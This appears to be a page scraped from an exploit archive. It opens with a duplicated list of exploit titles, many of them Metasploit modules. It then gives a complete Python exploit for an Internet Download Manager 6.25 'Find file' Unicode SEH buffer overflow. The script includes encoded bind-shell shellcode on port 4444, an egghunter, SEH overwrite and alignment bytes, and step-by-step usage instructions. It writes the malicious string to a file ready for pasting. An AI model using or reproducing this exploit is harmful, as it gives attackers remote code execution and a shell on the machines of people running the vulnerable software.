2c01698aec
14 new exploits Drupal <= 4.5.3 & <= 4.6.1 Comments PHP Injection Exploit Drupal <= 4.5.3 & <= 4.6.1 - Comments PHP Injection Exploit phpBB 2.0.15 - Remote PHP Code Execution Exploit (metasploit) phpBB 2.0.15 - Remote PHP Code Execution Exploit (Metasploit vBulletin <= 3.0.6 (Template) Command Execution Exploit (metasploit) vBulletin <= 3.0.6 (Template) Command Execution Exploit (Metasploit WordPress <= 1.5.1.3 - Remote Code Execution eXploit (metasploit) WordPress <= 1.5.1.3 - Remote Code Execution eXploit (Metasploit Solaris <= 10 LPD Arbitrary File Delete Exploit (metasploit) Solaris <= 10 LPD Arbitrary File Delete Exploit (Metasploit Horde <= 3.0.9/3.1.0 - (Help Viewer) Remote Code Execution (metasploit) Horde <= 3.0.9/3.1.0 - (Help Viewer) Remote Code Execution (Metasploit Softerra PHP Developer Library <= 1.5.3 File Include Vulnerabilities Softerra PHP Developer Library <= 1.5.3 - File Include Vulnerabilities IDEAL Administration 2009 9.7 - Buffer Overflow - Metasploit Universal IDEAL Administration 2009 9.7 - Buffer Overflow (Metasploit) PHP RapidKill Pro 5.x Shell Upload Vulnerability PHP RapidKill Pro 5.x - Shell Upload Vulnerability Shellcode - Win32 MessageBox (Metasploit module) Shellcode - Win32 MessageBox (Metasploit) Php Nuke 8.x.x - BlindSQL Injection Vulnerability PHP-Nuke 8.x.x - BlindSQL Injection Vulnerability Integard Pro 2.2.0.9026 - (Win7 ROP-Code Metasploit Module) Integard Pro 2.2.0.9026 - Windows 7 ROP-Code (Metasploit) Digital Music Pad 8.2.3.3.4 - SEH Overflow Metasploit Module Digital Music Pad 8.2.3.3.4 - SEH Overflow (Metasploit) MaticMarket 2.02 for PHP Nuke LFI Vulnerability MaticMarket 2.02 for PHP-Nuke - LFI Vulnerability Microsoft Word 2003 - Record Parsing Buffer Overflow (Metasploit) (MS09-027) Microsoft Word 2003 - Record Parsing Buffer Overflow (MS09-027) (Metasploit) Actfax FTP Server <= 4.27 - USER Command Stack Buffer Overflow (Metasploit) (0day) Actfax FTP Server <= 4.27 - USER Command Stack Buffer Overflow (0day) (Metasploit) Metasploit 4.1.0 Web UI stored XSS Vulnerability Metasploit 4.1.0 Web UI - Stored XSS Vulnerability PHP Nuke 1.0/2.5/3.0/4.x - Remote Ad Banner URL Change Vulnerability PHP-Nuke 1.0/2.5/3.0/4.x - Remote Ad Banner URL Change Vulnerability Microsoft Visual Studio RAD Support Buffer Overflow Vulnerability (metasploit) Microsoft Visual Studio RAD Support Buffer Overflow Vulnerability (Metasploit PHP Nuke 5.0 - 'user.php' Form Element Substitution Vulnerabilty PHP-Nuke 5.0 - 'user.php' Form Element Substitution Vulnerabilty PHP Nuke 5.x Error Message Web Root Disclosure Vulnerability PHP-Nuke 5.x - Error Message Web Root Disclosure Vulnerability PHP Nuke 8.2.4 - CSRF Vulnerability PHP-Nuke 8.2.4 - CSRF Vulnerability DCP-Portal 3.7/4.x/5.x Calendar.PHP HTTP Response Splitting Vulnerability DCP-Portal 3.7/4.x/5.x - Calendar.PHP HTTP Response Splitting Vulnerability PHP Nuke 0-7 Double Hex Encoded Input Validation Vulnerability PHP-Nuke 0-7 - Double Hex Encoded Input Validation Vulnerability PHP 4.x/5.x Html_Entity_Decode() Information Disclosure Vulnerability PHP 4.x/5.x - Html_Entity_Decode() Information Disclosure Vulnerability Western Digital Arkeia Remote Code Execution (Metasploit) Western Digital Arkeia - Remote Code Execution (Metasploit) Apache + PHP 5.x (< 5.3.12 & < 5.4.2) - cgi-bin Remote Code Execution Exploit Apache + PHP 5.x (< 5.3.12 / < 5.4.2) - Remote Code Execution (Multithreaded Scanner) Apache + PHP 5.x (< 5.3.12 & < 5.4.2) - Remote Code Execution (Multithreaded Scanner) PHP PEAR <= 1.5.3 INSTALL-AS Attribute Arbitrary File Overwrite Vulnerability PHP PEAR <= 1.5.3 - INSTALL-AS Attribute Arbitrary File Overwrite Vulnerability GNU bash Environment Variable Command Injection (Metasploit) GNU Bash - Environment Variable Command Injection (Metasploit) Bash - CGI RCE (Metasploit) Shellshock Exploit Bash - CGI RCE Shellshock Exploit (Metasploit) Endian Firewall < 3.0.0 - OS Command Injection (Metasploit Module) Endian Firewall < 3.0.0 - OS Command Injection (Metasploit) Windows - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032) WordPress eBook Download Plugin 1.1 - Directory Traversal WordPress Import CSV Plugin 1.0 - Directory Traversal WordPress Abtest Plugin - Local File Inclusion Internet Download Manager 6.25 Build 14 - 'Find file' Unicode SEH Exploit Disc ORGanizer - DORG - Multiple Vulnerabilities D-Link DWR-932 Firmware 4.00 - Authentication Bypass Xoops 2.5.7.2 - Arbitrary User Deletions CSRF Xoops 2.5.7.2 - Directory Traversal Bypass WordPress Image Export Plugin 1.1.0 - Arbitrary File Disclosure Sysax Multi Server 6.50 - HTTP File Share SEH Overflow RCE Exploit Dating Pro Genie 2015.7 - CSRF Vulnerabilities iTop 2.2.1 - CSRF Vulnerability ProjectSend r582 - Multiple XSS Vulnerabilities
94 lines
3.2 KiB
Python
Executable file
94 lines
3.2 KiB
Python
Executable file
#!/usr/bin/python
|
|
|
|
# Exploit Title: Internet Download Manager 6.25 Build 14 - 'Find file' SEH Buffer Overflow (Unicode)
|
|
# Date: 20-3-2016
|
|
# Exploit Author: Rakan Alotaibi
|
|
# Contact: https://twitter.com/hxteam
|
|
# Software Link: http://mirror2.internetdownloadmanager.com/idman625build14.exe
|
|
# Tested on: Windows 7 SP1 x86
|
|
# How to exploit: IDM > Downloads > Find > paste exploit string into 'Find file' textbox
|
|
|
|
tag = "AvAv"
|
|
|
|
# msfvenom -p windows/shell_bind_tcp lport=4444 -e x86/unicode_upper BufferRegister=EAX
|
|
shellcode = (
|
|
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ"
|
|
"11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944J"
|
|
"BKL9XU2M0KPM0QP3YZENQ7PQTTKR0NPDKR2LLDKQBN44KSBMXLO7GOZO601KO6LO"
|
|
"LS1SLM2NLMP7Q8OLMKQY7IRZR1BQG4K22N04K0JOLDK0LN1SHJC0HM18Q0Q4K0YO"
|
|
"0KQ9CTKOYLX9SNZQ94KNTDKKQ8V01KOVLGQ8OLMKQY708K0D5KFLC3MKHOKCMNDD"
|
|
"5ZD0X4KB8O4M1IC2F4KLL0KTKPXMLKQICDKKTDKKQJ0SY0DO4NDQK1KS1QIPZ21K"
|
|
"OK01O1O1JDKMBZKTM1M2HP3OBKPKP1XT7SCNR1OB42H0LCGO6LGKOIEH860M1M0K"
|
|
"PMYXD1DPPQXMY3PBKKPKOHU2JKXR9R0IRKMQ0R0Q00PQXJJLO9OIPKOIE4WQXM2K"
|
|
"PN11L4IYVQZLPQFPWS8XBIKNW1WKOHU0WRHWG9YOHKOKO8U27BHD4ZLOKYQKOYE0"
|
|
"W671X2UBNPMS1KOYEBH2C2MRDM0TIIS27QG0WP1ZVBJLR29PVK2KM3697PDNDOLK"
|
|
"QM1TM14NDLPWVKP14QD0PQF26PVOV26PNQFR6QC26QXBYXLOO3VKO9E3YK00NB6O"
|
|
"VKOP0QXKX57MMC0KOZ5WKL0FUFBB6QX5V5E7MEMKOXUOLKV3LKZ3PKKIP45M57KP"
|
|
"GMCCB2OBJKPQCKO9EAA")
|
|
|
|
# Windows NtAccessCheckAndAuditAlarm EggHunter
|
|
# Size: 32 bytes
|
|
egghunter = (
|
|
"PPYAIAIAIAIAQATA"
|
|
"XAZAPA3QADAZABAR"
|
|
"ALAYAIAQAIAQAPA5"
|
|
"AAAPAZ1AI1AIAIAJ"
|
|
"11AIAIAXA58AAPAZ"
|
|
"ABABQI1AIQIAIQI1"
|
|
"111AIAJQI1AYAZBA"
|
|
"BABABAB30APB944J"
|
|
"BQV51HJKOLOPBR2Q"
|
|
"ZKRPXXMNNOLKUPZ2"
|
|
"TJOWHKPOQKPT6DKJ"
|
|
"ZVOT5ZJVOBUK7KOK"
|
|
"7LJA")
|
|
|
|
buffersize = 6000
|
|
nseh = "\x61\x47" # popad + venetian pad
|
|
seh = "\x8d\x51" # 0x0051008d: pop edi # pop esi # ret [IDMan.exe]
|
|
venalign = (
|
|
"\x47" # venetian pad
|
|
"\x55" # push ebp
|
|
"\x47" # venetian pad
|
|
"\x58" # pop eax
|
|
"\x47" # venetian pad
|
|
"\x05\x18\x11" # add eax,11001800
|
|
"\x47" # venetian pad
|
|
"\x2d\x17\x11" # sub eax,11001700
|
|
"\x47" # venetian pad
|
|
"\x50" # push eax
|
|
"\x47" # venetian pad
|
|
"\xc3" # ret
|
|
)
|
|
|
|
venalign2 = (
|
|
"\x43" # venetian pad
|
|
"\x47" # inc edi
|
|
"\x43" # venetian pad
|
|
"\x57" # push edi
|
|
"\x43" # venetian pad
|
|
"\x58" # pop eax
|
|
"\x43" # venetian pad
|
|
"\x05\x18\x11" # add eax,11001800
|
|
"\x43" # venetian pad
|
|
"\x2d\x17\x11" # sub eax,11001700
|
|
"\x43" # venetian pad
|
|
"\x50" # push eax
|
|
"\x43" # venetian pad
|
|
"\xc3" # ret
|
|
)
|
|
|
|
junk2 = "\x71" * 108
|
|
junk3 = "\x71" * 110
|
|
evil2 = tag + venalign2 + junk3 + shellcode
|
|
junk = "\x42" * (2192-(len(evil2)))
|
|
evil = junk + evil2 + nseh + seh + venalign + junk2 + egghunter
|
|
fill = "\x47" * (buffersize-len(evil))
|
|
buffer = evil + fill
|
|
|
|
filename = "exploit.txt"
|
|
file = open(filename, 'w')
|
|
file.write(buffer)
|
|
file.close()
|
|
print buffer
|
|
print "[+] File created successfully"
|